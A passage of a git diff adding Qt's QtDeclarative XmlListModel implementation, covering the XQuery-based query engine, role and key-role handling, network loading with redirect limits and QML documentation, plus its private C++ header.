+void QDeclarativeXmlQueryEngine::doQueryJob(XmlQueryJob *currentJob, QDeclarativeXmlQueryResult *currentResult)
+{
+ Q_ASSERT(currentJob->queryId != -1);
+
+ QString r;
+ QXmlQuery query;
+ QBuffer buffer(&currentJob->data);
+ buffer.open(QIODevice::ReadOnly);
+ query.bindVariable(QLatin1String("src"), &buffer);
+ query.setQuery(currentJob->namespaces + currentJob->query);
+ query.evaluateTo(&r);
+
+ //always need a single root element
+ QByteArray xml = "<dummy:items xmlns:dummy=\"http://qtsotware.com/dummy\">\n" + r.toUtf8() + "</dummy:items>";
+ QBuffer b(&xml);
+ b.open(QIODevice::ReadOnly);
+
+ QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + currentJob->namespaces;
+ QString prefix = QLatin1String("doc($inputDocument)/dummy:items") +
+ currentJob->query.mid(currentJob->query.lastIndexOf(QLatin1Char('/')));
+
+ //figure out how many items we are dealing with
+ int count = -1;
+ {
+ QXmlResultItems result;
+ QXmlQuery countquery;
+ countquery.bindVariable(QLatin1String("inputDocument"), &b);
+ countquery.setQuery(namespaces + QLatin1String("count(") + prefix + QLatin1Char(')'));
+ countquery.evaluateTo(&result);
+ QXmlItem item(result.next());
+ if (item.isAtomicValue())
+ count = item.toAtomicValue().toInt();
+ }
+
+ currentJob->data = xml;
+ currentJob->prefix = namespaces + prefix + QLatin1Char('/');
+ currentResult->size = (count > 0 ? count : 0);
+}
+
+void QDeclarativeXmlQueryEngine::getValuesOfKeyRoles(const XmlQueryJob& currentJob, QStringList *values, QXmlQuery *query) const
+{
+ const QStringList &keysQueries = currentJob.keyRoleQueries;
+ QString keysQuery;
+ if (keysQueries.count() == 1)
+ keysQuery = currentJob.prefix + keysQueries[0];
+ else if (keysQueries.count() > 1)
+ keysQuery = currentJob.prefix + QLatin1String("concat(") + keysQueries.join(QLatin1String(",")) + QLatin1String(")");
+
+ if (!keysQuery.isEmpty()) {
+ query->setQuery(keysQuery);
+ QXmlResultItems resultItems;
+ query->evaluateTo(&resultItems);
+ QXmlItem item(resultItems.next());
+ while (!item.isNull()) {
+ values->append(item.toAtomicValue().toString());
+ item = resultItems.next();
+ }
+ }
+}
+
+void QDeclarativeXmlQueryEngine::addIndexToRangeList(QList<QDeclarativeXmlListRange> *ranges, int index) const {
+ if (ranges->isEmpty())
+ ranges->append(qMakePair(index, 1));
+ else if (ranges->last().first + ranges->last().second == index)
+ ranges->last().second += 1;
+ else
+ ranges->append(qMakePair(index, 1));
+}
+
+void QDeclarativeXmlQueryEngine::doSubQueryJob(XmlQueryJob *currentJob, QDeclarativeXmlQueryResult *currentResult)
+{
+ Q_ASSERT(currentJob->queryId != -1);
+
+ QBuffer b(&currentJob->data);
+ b.open(QIODevice::ReadOnly);
+
+ QXmlQuery subquery;
+ subquery.bindVariable(QLatin1String("inputDocument"), &b);
+
+ QStringList keyRoleResults;
+ getValuesOfKeyRoles(*currentJob, &keyRoleResults, &subquery);
+
+ // See if any values of key roles have been inserted or removed.
+
+ if (currentJob->keyRoleResultsCache.isEmpty()) {
+ currentResult->inserted << qMakePair(0, currentResult->size);
+ } else {
+ if (keyRoleResults != currentJob->keyRoleResultsCache) {
+ QStringList temp;
+ for (int i=0; i<currentJob->keyRoleResultsCache.count(); i++) {
+ if (!keyRoleResults.contains(currentJob->keyRoleResultsCache[i]))
+ addIndexToRangeList(&currentResult->removed, i);
+ else
+ temp << currentJob->keyRoleResultsCache[i];
+ }
+
+ for (int i=0; i<keyRoleResults.count(); i++) {
+ if (temp.count() == i || keyRoleResults[i] != temp[i]) {
+ temp.insert(i, keyRoleResults[i]);
+ addIndexToRangeList(&currentResult->inserted, i);
+ }
+ }
+ }
+ }
+ currentResult->keyRoleResultsCache = keyRoleResults;
+
+ // Get the new values for each role.
+ //### we might be able to condense even further (query for everything in one go)
+ const QStringList &queries = currentJob->roleQueries;
+ for (int i = 0; i < queries.size(); ++i) {
+ QList<QVariant> resultList;
+ if (!queries[i].isEmpty()) {
+ subquery.setQuery(currentJob->prefix + QLatin1String("(let $v := string(") + queries[i] + QLatin1String(") return if ($v) then ") + queries[i] + QLatin1String(" else \"\")"));
+ if (subquery.isValid()) {
+ QXmlResultItems resultItems;
+ subquery.evaluateTo(&resultItems);
+ QXmlItem item(resultItems.next());
+ while (!item.isNull()) {
+ resultList << item.toAtomicValue(); //### we used to trim strings
+ item = resultItems.next();
+ }
+ } else {
+ emit error(currentJob->roleQueryErrorId.at(i), queries[i]);
+ }
+ }
+ //### should warn here if things have gone wrong.
+ while (resultList.count() < currentResult->size)
+ resultList << QVariant();
+ currentResult->data << resultList;
+ b.seek(0);
+ }
+
+ //this method is much slower, but works better for incremental loading
+ /*for (int j = 0; j < m_size; ++j) {
+ QList<QVariant> resultList;
+ for (int i = 0; i < m_roleObjects->size(); ++i) {
+ QDeclarativeXmlListModelRole *role = m_roleObjects->at(i);
+ subquery.setQuery(m_prefix.arg(j+1) + role->query());
+ if (role->isStringList()) {
+ QStringList data;
+ subquery.evaluateTo(&data);
+ resultList << QVariant(data);
+ //qDebug() << data;
+ } else {
+ QString s;
+ subquery.evaluateTo(&s);
+ if (role->isCData()) {
+ //un-escape
+ s.replace(QLatin1String("&lt;"), QLatin1String("<"));
+ s.replace(QLatin1String("&gt;"), QLatin1String(">"));
+ s.replace(QLatin1String("&amp;"), QLatin1String("&"));
+ }
+ resultList << s.trimmed();
+ //qDebug() << s;
+ }
+ b.seek(0);
+ }
+ m_modelData << resultList;
+ }*/
+}
+
+class QDeclarativeXmlListModelPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeXmlListModel)
+public:
+ QDeclarativeXmlListModelPrivate()
+ : isComponentComplete(true), size(-1), highestRole(Qt::UserRole)
+ , reply(0), status(QDeclarativeXmlListModel::Null), progress(0.0)
+ , queryId(-1), roleObjects(), redirectCount(0) {}
+
+
+ void notifyQueryStarted(bool remoteSource) {
+ Q_Q(QDeclarativeXmlListModel);
+ progress = remoteSource ? qreal(0.0) : qreal(1.0);
+ status = QDeclarativeXmlListModel::Loading;
+ errorString.clear();
+ emit q->progressChanged(progress);
+ emit q->statusChanged(status);
+ }
+
+ void deleteReply() {
+ Q_Q(QDeclarativeXmlListModel);
+ if (reply) {
+ QObject::disconnect(reply, 0, q, 0);
+ reply->deleteLater();
+ reply = 0;
+ }
+ }
+
+ bool isComponentComplete;
+ QUrl src;
+ QString xml;
+ QString query;
+ QString namespaces;
+ int size;
+ QList<int> roles;
+ QStringList roleNames;
+ int highestRole;
+
+ QNetworkReply *reply;
+ QDeclarativeXmlListModel::Status status;
+ QString errorString;
+ qreal progress;
+ int queryId;
+ QStringList keyRoleResultsCache;
+ QList<QDeclarativeXmlListModelRole *> roleObjects;
+
+ static void append_role(QDeclarativeListProperty<QDeclarativeXmlListModelRole> *list, QDeclarativeXmlListModelRole *role);
+ static void clear_role(QDeclarativeListProperty<QDeclarativeXmlListModelRole> *list);
+ QList<QList<QVariant> > data;
+ int redirectCount;
+};
+
+
+void QDeclarativeXmlListModelPrivate::append_role(QDeclarativeListProperty<QDeclarativeXmlListModelRole> *list, QDeclarativeXmlListModelRole *role)
+{
+ QDeclarativeXmlListModel *_this = qobject_cast<QDeclarativeXmlListModel *>(list->object);
+ if (_this && role) {
+ int i = _this->d_func()->roleObjects.count();
+ _this->d_func()->roleObjects.append(role);
+ if (_this->d_func()->roleNames.contains(role->name())) {
+ qmlInfo(role) << QObject::tr("\"%1\" duplicates a previous role name and will be disabled.").arg(role->name());
+ return;
+ }
+ _this->d_func()->roles.insert(i, _this->d_func()->highestRole);
+ _this->d_func()->roleNames.insert(i, role->name());
+ ++_this->d_func()->highestRole;
+ }
+}
+
+//### clear needs to invalidate any cached data (in data table) as well
+// (and the model should emit the appropriate signals)
+void QDeclarativeXmlListModelPrivate::clear_role(QDeclarativeListProperty<QDeclarativeXmlListModelRole> *list)
+{
+ QDeclarativeXmlListModel *_this = static_cast<QDeclarativeXmlListModel *>(list->object);
+ _this->d_func()->roles.clear();
+ _this->d_func()->roleNames.clear();
+ _this->d_func()->roleObjects.clear();
+}
+
+/*!
+ \qmlclass XmlListModel QDeclarativeXmlListModel
+ \ingroup qml-working-with-data
+ \since 4.7
+ \brief The XmlListModel element is used to specify a read-only model using XPath expressions.
+
+ XmlListModel is used to create a read-only model from XML data. It can be used as a data source
+ for view elements (such as ListView, PathView, GridView) and other elements that interact with model
+ data (such as \l Repeater).
+
+ For example, if there is a XML document at http://www.mysite.com/feed.xml like this:
+
+ \code
+ <?xml version="1.0" encoding="utf-8"?>
+ <rss version="2.0">
+ ...
+ <channel>
+ <item>
+ <title>A blog post</title>
+ <pubDate>Sat, 07 Sep 2010 10:00:01 GMT</pubDate>
+ </item>
+ <item>
+ <title>Another blog post</title>
+ <pubDate>Sat, 07 Sep 2010 15:35:01 GMT</pubDate>
+ </item>
+ </channel>
+ </rss>
+ \endcode
+
+ A XmlListModel could create a model from this data, like this:
+
+ \qml
+ import QtQuick 1.0
+
+ XmlListModel {
+ id: xmlModel
+ source: "http://www.mysite.com/feed.xml"
+ query: "/rss/channel/item"
+
+ XmlRole { name: "title"; query: "title/string()" }
+ XmlRole { name: "pubDate"; query: "pubDate/string()" }
+ }
+ \endqml
+
+ The \l {XmlListModel::query}{query} value of "/rss/channel/item" specifies that the XmlListModel should generate
+ a model item for each \c <item> in the XML document.
+
+ The XmlRole objects define the
+ model item attributes. Here, each model item will have \c title and \c pubDate
+ attributes that match the \c title and \c pubDate values of its corresponding \c <item>.
+ (See \l XmlRole::query for more examples of valid XPath expressions for XmlRole.)
+
+ The model could be used in a ListView, like this:
+
+ \qml
+ ListView {
+ width: 180; height: 300
+ model: xmlModel
+ delegate: Text { text: title + ": " + pubDate }
+ }
+ \endqml
+
+ \image qml-xmllistmodel-example.png
+
+ The XmlListModel data is loaded asynchronously, and \l status
+ is set to \c XmlListModel.Ready when loading is complete.
+ Note this means when XmlListModel is used for a view, the view is not
+ populated until the model is loaded.
+
+
+ \section2 Using key XML roles
+
+ You can define certain roles as "keys" so that when reload() is called,
+ the model will only add and refresh data that contains new values for
+ these keys.
+
+ For example, if above role for "pubDate" was defined like this instead:
+
+ \qml
+ XmlRole { name: "pubDate"; query: "pubDate/string()"; isKey: true }
+ \endqml
+
+ Then when reload() is called, the model will only add and reload
+ items with a "pubDate" value that is not already
+ present in the model.
+
+ This is useful when displaying the contents of XML documents that
+ are incrementally updated (such as RSS feeds) to avoid repainting the
+ entire contents of a model in a view.
+
+ If multiple key roles are specified, the model only adds and reload items
+ with a combined value of all key roles that is not already present in
+ the model.
+
+ \sa {RSS News}
+*/
+
+QDeclarativeXmlListModel::QDeclarativeXmlListModel(QObject *parent)
+ : QListModelInterface(*(new QDeclarativeXmlListModelPrivate), parent)
+{
+}
+
+QDeclarativeXmlListModel::~QDeclarativeXmlListModel()
+{
+}
+
+/*!
+ \qmlproperty list<XmlRole> XmlListModel::roles
+
+ The roles to make available for this model.
+*/
+QDeclarativeListProperty<QDeclarativeXmlListModelRole> QDeclarativeXmlListModel::roleObjects()
+{
+ Q_D(QDeclarativeXmlListModel);
+ QDeclarativeListProperty<QDeclarativeXmlListModelRole> list(this, d->roleObjects);
+ list.append = &QDeclarativeXmlListModelPrivate::append_role;
+ list.clear = &QDeclarativeXmlListModelPrivate::clear_role;
+ return list;
+}
+
+QHash<int,QVariant> QDeclarativeXmlListModel::data(int index, const QList<int> &roles) const
+{
+ Q_D(const QDeclarativeXmlListModel);
+ QHash<int, QVariant> rv;
+ for (int i = 0; i < roles.size(); ++i) {
+ int role = roles.at(i);
+ int roleIndex = d->roles.indexOf(role);
+ rv.insert(role, roleIndex == -1 ? QVariant() : d->data.value(roleIndex).value(index));
+ }
+ return rv;
+}
+
+QVariant QDeclarativeXmlListModel::data(int index, int role) const
+{
+ Q_D(const QDeclarativeXmlListModel);
+ int roleIndex = d->roles.indexOf(role);
+ return (roleIndex == -1) ? QVariant() : d->data.value(roleIndex).value(index);
+}
+
+/*!
+ \qmlproperty int XmlListModel::count
+ The number of data entries in the model.
+*/
+int QDeclarativeXmlListModel::count() const
+{
+ Q_D(const QDeclarativeXmlListModel);
+ return d->size;
+}
+
+QList<int> QDeclarativeXmlListModel::roles() const
+{
+ Q_D(const QDeclarativeXmlListModel);
+ return d->roles;
+}
+
+QString QDeclarativeXmlListModel::toString(int role) const
+{
+ Q_D(const QDeclarativeXmlListModel);
+ int index = d->roles.indexOf(role);
+ if (index == -1)
+ return QString();
+ return d->roleNames.at(index);
+}
+
+/*!
+ \qmlproperty url XmlListModel::source
+ The location of the XML data source.
+
+ If both \c source and \l xml are set, \l xml is used.
+*/
+QUrl QDeclarativeXmlListModel::source() const
+{
+ Q_D(const QDeclarativeXmlListModel);
+ return d->src;
+}
+
+void QDeclarativeXmlListModel::setSource(const QUrl &src)
+{
+ Q_D(QDeclarativeXmlListModel);
+ if (d->src != src) {
+ d->src = src;
+ if (d->xml.isEmpty()) // src is only used if d->xml is not set
+ reload();
+ emit sourceChanged();
+ }
+}
+
+/*!
+ \qmlproperty string XmlListModel::xml
+ This property holds the XML data for this model, if set.
+
+ The text is assumed to be UTF-8 encoded.
+
+ If both \l source and \c xml are set, \c xml is used.
+*/
+QString QDeclarativeXmlListModel::xml() const
+{
+ Q_D(const QDeclarativeXmlListModel);
+ return d->xml;
+}
+
+void QDeclarativeXmlListModel::setXml(const QString &xml)
+{
+ Q_D(QDeclarativeXmlListModel);
+ if (d->xml != xml) {
+ d->xml = xml;
+ reload();
+ emit xmlChanged();
+ }
+}
+
+/*!
+ \qmlproperty string XmlListModel::query
+ An absolute XPath query representing the base query for creating model items
+ from this model's XmlRole objects. The query should start with '/' or '//'.
+*/
+QString QDeclarativeXmlListModel::query() const
+{
+ Q_D(const QDeclarativeXmlListModel);
+ return d->query;
+}
+
+void QDeclarativeXmlListModel::setQuery(const QString &query)
+{
+ Q_D(QDeclarativeXmlListModel);
+ if (!query.startsWith(QLatin1Char('/'))) {
+ qmlInfo(this) << QCoreApplication::translate("QDeclarativeXmlRoleList", "An XmlListModel query must start with '/' or \"//\"");
+ return;
+ }
+
+ if (d->query != query) {
+ d->query = query;
+ reload();
+ emit queryChanged();
+ }
+}
+
+/*!
+ \qmlproperty string XmlListModel::namespaceDeclarations
+ The namespace declarations to be used in the XPath queries.
+
+ The namespaces should be declared as in XQuery. For example, if a requested document
+ at http://mysite.com/feed.xml uses the namespace "http://www.w3.org/2005/Atom",
+ this can be declared as the default namespace:
+
+ \qml
+ XmlListModel {
+ source: "http://mysite.com/feed.xml"
+ query: "/feed/entry"
+ namespaceDeclarations: "declare default element namespace 'http://www.w3.org/2005/Atom';"
+
+ XmlRole { name: "title"; query: "title/string()" }
+ }
+ \endqml
+*/
+QString QDeclarativeXmlListModel::namespaceDeclarations() const
+{
+ Q_D(const QDeclarativeXmlListModel);
+ return d->namespaces;
+}
+
+void QDeclarativeXmlListModel::setNamespaceDeclarations(const QString &declarations)
+{
+ Q_D(QDeclarativeXmlListModel);
+ if (d->namespaces != declarations) {
+ d->namespaces = declarations;
+ reload();
+ emit namespaceDeclarationsChanged();
+ }
+}
+
+/*!
+ \qmlmethod object XmlListModel::get(int index)
+
+ Returns the item at \a index in the model.
+
+ For example, for a model like this:
+
+ \qml
+ XmlListModel {
+ id: model
+ source: "http://mysite.com/feed.xml"
+ query: "/feed/entry"
+ XmlRole { name: "title"; query: "title/string()" }
+ }
+ \endqml
+
+ This will access the \c title value for the first item in the model:
+
+ \js
+ var title = model.get(0).title;
+ \endjs
+*/
+QScriptValue QDeclarativeXmlListModel::get(int index) const
+{
+ Q_D(const QDeclarativeXmlListModel);
+
+ QScriptEngine *sengine = QDeclarativeEnginePrivate::getScriptEngine(qmlContext(this)->engine());
+ if (index < 0 || index >= count())
+ return sengine->undefinedValue();
+
+ QScriptValue sv = sengine->newObject();
+ for (int i=0; i<d->roleObjects.count(); i++)
+ sv.setProperty(d->roleObjects[i]->name(), sengine->toScriptValue(d->data.value(i).value(index)));
+ return sv;
+}
+
+/*!
+ \qmlproperty enumeration XmlListModel::status
+ Specifies the model loading status, which can be one of the following:
+
+ \list
+ \o XmlListModel.Null - No XML data has been set for this model.
+ \o XmlListModel.Ready - The XML data has been loaded into the model.
+ \o XmlListModel.Loading - The model is in the process of reading and loading XML data.
+ \o XmlListModel.Error - An error occurred while the model was loading. See errorString() for details
+ about the error.
+ \endlist
+
+ \sa progress
+
+*/
+QDeclarativeXmlListModel::Status QDeclarativeXmlListModel::status() const
+{
+ Q_D(const QDeclarativeXmlListModel);
+ return d->status;
+}
+
+/*!
+ \qmlproperty real XmlListModel::progress
+
+ This indicates the current progress of the downloading of the XML data
+ source. This value ranges from 0.0 (no data downloaded) to
+ 1.0 (all data downloaded). If the XML data is not from a remote source,
+ the progress becomes 1.0 as soon as the data is read.
+
+ Note that when the progress is 1.0, the XML data has been downloaded, but
+ it is yet to be loaded into the model at this point. Use the status
+ property to find out when the XML data has been read and loaded into
+ the model.
+
+ \sa status, source
+*/
+qreal QDeclarativeXmlListModel::progress() const
+{
+ Q_D(const QDeclarativeXmlListModel);
+ return d->progress;
+}
+
+/*!
+ \qmlmethod void XmlListModel::errorString()
+
+ Returns a string description of the last error that occurred
+ if \l status is XmlListModel::Error.
+*/
+QString QDeclarativeXmlListModel::errorString() const
+{
+ Q_D(const QDeclarativeXmlListModel);
+ return d->errorString;
+}
+
+void QDeclarativeXmlListModel::classBegin()
+{
+ Q_D(QDeclarativeXmlListModel);
+ d->isComponentComplete = false;
+
+ QDeclarativeXmlQueryEngine *queryEngine = QDeclarativeXmlQueryEngine::instance(qmlEngine(this));
+ connect(queryEngine, SIGNAL(queryCompleted(QDeclarativeXmlQueryResult)),
+ SLOT(queryCompleted(QDeclarativeXmlQueryResult)));
+ connect(queryEngine, SIGNAL(error(void*,QString)),
+ SLOT(queryError(void*,QString)));
+}
+
+void QDeclarativeXmlListModel::componentComplete()
+{
+ Q_D(QDeclarativeXmlListModel);
+ d->isComponentComplete = true;
+ reload();
+}
+
+/*!
+ \qmlmethod XmlListModel::reload()
+
+ Reloads the model.
+
+ If no key roles have been specified, all existing model
+ data is removed, and the model is rebuilt from scratch.
+
+ Otherwise, items are only added if the model does not already
+ contain items with matching key role values.
+
+ \sa {Using key XML roles}, XmlRole::isKey
+*/
+void QDeclarativeXmlListModel::reload()
+{
+ Q_D(QDeclarativeXmlListModel);
+
+ if (!d->isComponentComplete)
+ return;
+
+ QDeclarativeXmlQueryEngine::instance(qmlEngine(this))->abort(d->queryId);
+ d->queryId = -1;
+
+ if (d->size < 0)
+ d->size = 0;
+
+ if (d->reply) {
+ d->reply->abort();
+ d->deleteReply();
+ }
+
+ if (!d->xml.isEmpty()) {
+ d->queryId = QDeclarativeXmlQueryEngine::instance(qmlEngine(this))->doQuery(d->query, d->namespaces, d->xml.toUtf8(), &d->roleObjects, d->keyRoleResultsCache);
+ d->notifyQueryStarted(false);
+
+ } else if (d->src.isEmpty()) {
+ d->queryId = XMLLISTMODEL_CLEAR_ID;
+ d->notifyQueryStarted(false);
+ QTimer::singleShot(0, this, SLOT(dataCleared()));
+
+ } else {
+ d->notifyQueryStarted(true);
+ QNetworkRequest req(d->src);
+ req.setRawHeader("Accept", "application/xml,*/*");
+ d->reply = qmlContext(this)->engine()->networkAccessManager()->get(req);
+ QObject::connect(d->reply, SIGNAL(finished()), this, SLOT(requestFinished()));
+ QObject::connect(d->reply, SIGNAL(downloadProgress(qint64,qint64)),
+ this, SLOT(requestProgress(qint64,qint64)));
+ }
+}
+
+#define XMLLISTMODEL_MAX_REDIRECT 16
+
+void QDeclarativeXmlListModel::requestFinished()
+{
+ Q_D(QDeclarativeXmlListModel);
+
+ d->redirectCount++;
+ if (d->redirectCount < XMLLISTMODEL_MAX_REDIRECT) {
+ QVariant redirect = d->reply->attribute(QNetworkRequest::RedirectionTargetAttribute);
+ if (redirect.isValid()) {
+ QUrl url = d->reply->url().resolved(redirect.toUrl());
+ d->deleteReply();
+ setSource(url);
+ return;
+ }
+ }
+ d->redirectCount = 0;
+
+ if (d->reply->error() != QNetworkReply::NoError) {
+ d->errorString = d->reply->errorString();
+ d->deleteReply();
+
+ int count = this->count();
+ d->data.clear();
+ d->size = 0;
+ if (count > 0) {
+ emit itemsRemoved(0, count);
+ emit countChanged();
+ }
+
+ d->status = Error;
+ d->queryId = -1;
+ emit statusChanged(d->status);
+ } else {
+ QByteArray data = d->reply->readAll();
+ if (data.isEmpty()) {
+ d->queryId = XMLLISTMODEL_CLEAR_ID;
+ QTimer::singleShot(0, this, SLOT(dataCleared()));
+ } else {
+ d->queryId = QDeclarativeXmlQueryEngine::instance(qmlEngine(this))->doQuery(d->query, d->namespaces, data, &d->roleObjects, d->keyRoleResultsCache);
+ }
+ d->deleteReply();
+
+ d->progress = 1.0;
+ emit progressChanged(d->progress);
+ }
+}
+
+void QDeclarativeXmlListModel::requestProgress(qint64 received, qint64 total)
+{
+ Q_D(QDeclarativeXmlListModel);
+ if (d->status == Loading && total > 0) {
+ d->progress = qreal(received)/total;
+ emit progressChanged(d->progress);
+ }
+}
+
+void QDeclarativeXmlListModel::dataCleared()
+{
+ Q_D(QDeclarativeXmlListModel);
+ QDeclarativeXmlQueryResult r;
+ r.queryId = XMLLISTMODEL_CLEAR_ID;
+ r.size = 0;
+ r.removed << qMakePair(0, count());
+ r.keyRoleResultsCache = d->keyRoleResultsCache;
+ queryCompleted(r);
+}
+
+void QDeclarativeXmlListModel::queryError(void* object, const QString& error)
+{
+ // Be extra careful, object may no longer exist, it's just an ID.
+ Q_D(QDeclarativeXmlListModel);
+ for (int i=0; i<d->roleObjects.count(); i++) {
+ if (d->roleObjects.at(i) == static_cast<QDeclarativeXmlListModelRole*>(object)) {
+ qmlInfo(d->roleObjects.at(i)) << QObject::tr("invalid query: \"%1\"").arg(error);
+ return;
+ }
+ }
+ qmlInfo(this) << QObject::tr("invalid query: \"%1\"").arg(error);
+}
+
+void QDeclarativeXmlListModel::queryCompleted(const QDeclarativeXmlQueryResult &result)
+{
+ Q_D(QDeclarativeXmlListModel);
+ if (result.queryId != d->queryId)
+ return;
+
+ int origCount = d->size;
+ bool sizeChanged = result.size != d->size;
+
+ d->size = result.size;
+ d->data = result.data;
+ d->keyRoleResultsCache = result.keyRoleResultsCache;
+ d->status = Ready;
+ d->errorString.clear();
+ d->queryId = -1;
+
+ bool hasKeys = false;
+ for (int i=0; i<d->roleObjects.count(); i++) {
+ if (d->roleObjects[i]->isKey()) {
+ hasKeys = true;
+ break;
+ }
+ }
+ if (!hasKeys) {
+ if (!(origCount == 0 && d->size == 0)) {
+ emit itemsRemoved(0, origCount);
+ emit itemsInserted(0, d->size);
+ emit countChanged();
+ }
+
+ } else {
+ for (int i=0; i<result.removed.count(); i++)
+ emit itemsRemoved(result.removed[i].first, result.removed[i].second);
+ for (int i=0; i<result.inserted.count(); i++)
+ emit itemsInserted(result.inserted[i].first, result.inserted[i].second);
+
+ if (sizeChanged)
+ emit countChanged();
+ }
+
+ emit statusChanged(d->status);
+}
+
+QT_END_NAMESPACE
+
+#include <qdeclarativexmllistmodel.moc>
diff --git a/src/declarative/util/qdeclarativexmllistmodel_p.h b/src/declarative/util/qdeclarativexmllistmodel_p.h
new file mode 100644
index 00000000..cb0e12b0
--- /dev/null
+++ b/src/declarative/util/qdeclarativexmllistmodel_p.h
@@ -0,0 +1,213 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEXMLLISTMODEL_H
+#define QDECLARATIVEXMLLISTMODEL_H
+
+#include <qdeclarative.h>
+#include <qdeclarativeinfo.h>
+
+#include <QtCore/qurl.h>
+#include <QtCore/qstringlist.h>
+#include <QtScript/qscriptvalue.h>
+
+#include <private/qlistmodelinterface_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeContext;
+class QDeclarativeXmlListModelRole;
+class QDeclarativeXmlListModelPrivate;
+
+struct QDeclarativeXmlQueryResult {
+ int queryId;
+ int size;
+ QList<QList<QVariant> > data;
+ QList<QPair<int, int> > inserted;
+ QList<QPair<int, int> > removed;
+ QStringList keyRoleResultsCache;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeXmlListModel : public QListModelInterface, public QDeclarativeParserStatus
+{
+ Q_OBJECT
+ Q_INTERFACES(QDeclarativeParserStatus)
+ Q_ENUMS(Status)
+
+ Q_PROPERTY(Status status READ status NOTIFY statusChanged)
+ Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged)
+ Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged)
+ Q_PROPERTY(QString xml READ xml WRITE setXml NOTIFY xmlChanged)
+ Q_PROPERTY(QString query READ query WRITE setQuery NOTIFY queryChanged)
+ Q_PROPERTY(QString namespaceDeclarations READ namespaceDeclarations WRITE setNamespaceDeclarations NOTIFY namespaceDeclarationsChanged)
+ Q_PROPERTY(QDeclarativeListProperty<QDeclarativeXmlListModelRole> roles READ roleObjects)
+ Q_PROPERTY(int count READ count NOTIFY countChanged)
+ Q_CLASSINFO("DefaultProperty", "roles")
+
+public:
+ QDeclarativeXmlListModel(QObject *parent = 0);
+ ~QDeclarativeXmlListModel();
+
+ virtual QHash<int,QVariant> data(int index, const QList<int> &roles = (QList<int>())) const;
+ virtual QVariant data(int index, int role) const;
+ virtual int count() const;
+ virtual QList<int> roles() const;
+ virtual QString toString(int role) const;
+
+ QDeclarativeListProperty<QDeclarativeXmlListModelRole> roleObjects();
+
+ QUrl source() const;
+ void setSource(const QUrl&);
+
+ QString xml() const;
+ void setXml(const QString&);
+
+ QString query() const;
+ void setQuery(const QString&);
+
+ QString namespaceDeclarations() const;
+ void setNamespaceDeclarations(const QString&);
+
+ Q_INVOKABLE QScriptValue get(int index) const;
+
+ enum Status { Null, Ready, Loading, Error };
+ Status status() const;
+ qreal progress() const;
+
+ Q_INVOKABLE QString errorString() const;
+
+ virtual void classBegin();
+ virtual void componentComplete();
+
+Q_SIGNALS:
+ void statusChanged(QDeclarativeXmlListModel::Status);
+ void progressChanged(qreal progress);
+ void countChanged();
+ void sourceChanged();
+ void xmlChanged();
+ void queryChanged();
+ void namespaceDeclarationsChanged();
+
+public Q_SLOTS:
+ // ### need to use/expose Expiry to guess when to call this?
+ // ### property to auto-call this on reasonable Expiry?
+ // ### LastModified/Age also useful to guess.
+ // ### Probably also applies to other network-requesting types.
+ void reload();
+
+private Q_SLOTS:
+ void requestFinished();
+ void requestProgress(qint64,qint64);
+ void dataCleared();
+ void queryCompleted(const QDeclarativeXmlQueryResult &);
+ void queryError(void* object, const QString& error);
+
+private:
+ Q_DECLARE_PRIVATE(QDeclarativeXmlListModel)
+ Q_DISABLE_COPY(QDeclarativeXmlListModel)
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeXmlListModelRole : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged)
+ Q_PROPERTY(QString query READ query WRITE setQuery NOTIFY queryChanged)
+ Q_PROPERTY(bool isKey READ isKey WRITE setIsKey NOTIFY isKeyChanged)
+public:
+ QDeclarativeXmlListModelRole() : m_isKey(false) {}
+ ~QDeclarativeXmlListModelRole() {}
+
+ QString name() const { return m_name; }
+ void setName(const QString &name) {
+ if (name == m_name)
+ return;
+ m_name = name;
+ emit nameChanged();
+ }
+
+ QString query() const { return m_query; }
+ void setQuery(const QString &query)
+ {
+ if (query.startsWith(QLatin1Char('/'))) {
+ qmlInfo(this) << tr("An XmlRole query must not start with '/'");
+ return;
+ }
+ if (m_query == query)
+ return;
+ m_query = query;
+ emit queryChanged();
+ }
+
+ bool isKey() const { return m_isKey; }
+ void setIsKey(bool b) {
+ if (m_isKey == b)
+ return;
+ m_isKey = b;
+ emit isKeyChanged();
+ }
+
+ bool isValid() {
+ return !m_name.isEmpty() && !m_query.isEmpty();
+ }
+
+Q_SIGNALS:
+ void nameChanged();
+ void queryChanged();
+ void isKeyChanged();
+
+private:
+ QString m_name;
+ QString m_query;
+ bool m_isKey;
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeXmlListModel)
+QML_DECLARE_TYPE(QDeclarativeXmlListModelRole)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEXMLLISTMODEL_H
